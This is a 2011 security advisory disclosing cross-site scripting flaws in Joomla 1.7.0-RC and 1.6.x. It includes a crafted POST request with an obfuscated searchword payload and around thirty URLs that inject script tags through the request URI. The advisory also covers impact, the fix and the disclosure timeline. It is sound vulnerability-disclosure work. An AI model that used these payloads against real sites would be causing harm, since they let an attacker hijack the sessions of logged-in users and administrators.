Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS)
Vulnerabilities



1. OVERVIEW

Joomla! 1.7.0-RC and versions of 1.6.x are vulnerable to multiple
Cross Site Scripting issues.


2. BACKGROUND

Joomla is a free and open source content management system (CMS) for
publishing content on the World Wide Web and intranets. It comprises a
model–view–controller (MVC) Web application framework that can also be
used independently.
Joomla is written in PHP, uses object-oriented programming (OOP)
techniques and software design patterns, stores data in a MySQL
database, and includes features such as page caching, RSS feeds,
printable versions of pages, news flashes, blogs, polls, search, and
support for language internationalization.


3. VULNERABILITY DESCRIPTION

Several parameters (searchword, Request URI) in Joomla! Core
components are not properly sanitized upon submission to the
/index.php url, which allows attacker to conduct Cross Site Scripting
attack. This may allow an attacker to create a specially crafted URL
that would execute arbitrary script code in a victim's browser.


4. VERSION AFFECTED

1.7.0-RC and all versions of 1.6.x


5. PROOF-OF-CONCEPT/EXPLOIT


component: com_search, parameter: searchword (Browser: IE, Konqueror)
=====================================================================
N.B. Our previous reported issue (1.6.3) of "searchword" parameter XSS
was not fixed completely.


[REQUEST]
POST /joomla164_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla164_noseo/
Content-Type: application/x-www-form-urlencoded
Content-Length: 456


task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
[/REQUEST]


XSS in Request URI
====================
File: ./includes/application.php
Line: 176, 181
Code:   $document->setBase(JURI::current());  // instead of
$document->setBase(htmlspecialchars(JURI::current()));


http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/new-feed-categories/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/search-component/search/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/site-map/contacts/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/component/banners/click/3'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/fruit-encyclopedia/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/fruit-encyclopedia/38-a'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/fruit-encyclopedia/39-b'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/fruit-encyclopedia/57-t'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/growers/23-happy-orange-orchard'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/image-gallery/animals/25-koala'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/image-gallery/scenery/64-blue-mountain-rain-forest'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/image-gallery/scenery/65-ormiston-pound'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/2-webmaster'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/8-shop-address'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/67-whats-new-in-15'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/26-park-site'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/29-fruit-shop-site'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/20-extensions'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/1-joomla-announcements'"><script>alert(/XSS/)</script>

http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/2-new-joomla-extensions'"><script>alert(/XSS/)</script>


http://localhost/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/3-joomla-security-news'"><script>alert(/XSS/)</script>

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


6. IMPACT

Attackers can compromise currently logged-in user/administrator
session and impersonate arbitrary user actions available under
/administrator/ functions.


7. SOLUTION

The development of Joomla! 1.6.x has been ceased; there will be no
fixed version for 1.6.x.
Upgrade to Joomla! 1.7.0-stable or higher.


8. VENDOR

Joomla! Developer Team
http://www.joomla.org


9. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


10. DISCLOSURE TIME-LINE

2011-07-02: notified vendor
2011-07-19: patched version, 1.7.0-stable, released
2011-07-22: vulnerability disclosed


11. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.7.0-rc]_cross_site_scripting(XSS)
Previous Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.3]_cross_site_scripting(XSS)
http://yehg.net/lab/#advisories.joomla
Vendor Advisory URL:
http://developer.joomla.org/security/news/357-20110701-xss-vulnerability.html

#yehg [2011-07-22]